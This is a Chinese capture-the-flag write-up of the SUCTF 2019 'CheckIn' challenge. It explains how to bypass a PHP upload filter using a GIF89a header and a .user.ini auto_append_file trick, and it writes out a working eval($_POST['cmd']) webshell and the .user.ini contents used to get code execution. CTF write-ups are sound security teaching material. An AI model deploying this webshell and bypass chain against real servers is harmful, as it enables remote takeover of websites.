[SUCTF 2019]CheckIn
首页是个上传页面,尝试上传一个shell,发现回显非法后缀。删除后缀再上传,发现对文件内容也有检测,检测了<?符号。删除文件内容再上传,又提示exif_imagetype:not image!,这里的hexif_imagetype是一个php函数通过文件头判断文件类型。我们在文件最前面加上GIF 89A(gif文件头),发现成功上传并回显了路径以及目录下所有文件名。这里我们可以考虑上传htaccess文件,但是这里是个nginx服务器,在响应头里可以看到(但是buuoj里的响应头服务器是openresty,可能是因为buuoj使用了这个代理,我是在wp里看到才知道是nginx)。因此尝试上传.user.ini文件,这个文件用以修改部分php.ini中的配置。
php.ini文件中的配置分为几个模式,分别是PHP_INI_SYSTEM
、PHP_INI_PERDIR
、PHP_INI_ALL
、PHP_INI_USER
,在php文档可以查看每个配置属于那种模式。.user.ini文件中可以修改PHP_INI_PERDIR
、PHP_INI_ALL
、PHP_INI_USER
模式的配置,在配置列表中有如下两个配置auto_append_file、
auto_prepend_file。这两个配置可以将文件插入到php文件中,我们可以利用这个函数来包含一个我们上传的webshell。
首先我们构造一个webshell文件,由于<?被过滤,尝试使用短标签
<?php x ?>
<% x %> 开启asp_tags=on
<? x ?> short_open_tag = On
<?=x ?><script language="php">x</script>
这里可以选择
<script language="php">x</script>格式,也可以选择<% x %>格式,如果选择<% x %>格式则需要设置asp_tags=on,这个配置属于PHP_INI_PERDIR
,因此可以在.user.ini中修改。
首先上传一个无后缀的文件,内容为
GIF 89A
<%
@eval($_POST['cmd']);
%>
然后上传一个.user.ini文件,内容为
GIF 89A
asp_tags=on
auto_append_file={上一个文件的文件名}
然后使用菜刀连接回显的路径下的index.php,最后在根目录下看到flag文件。
网友评论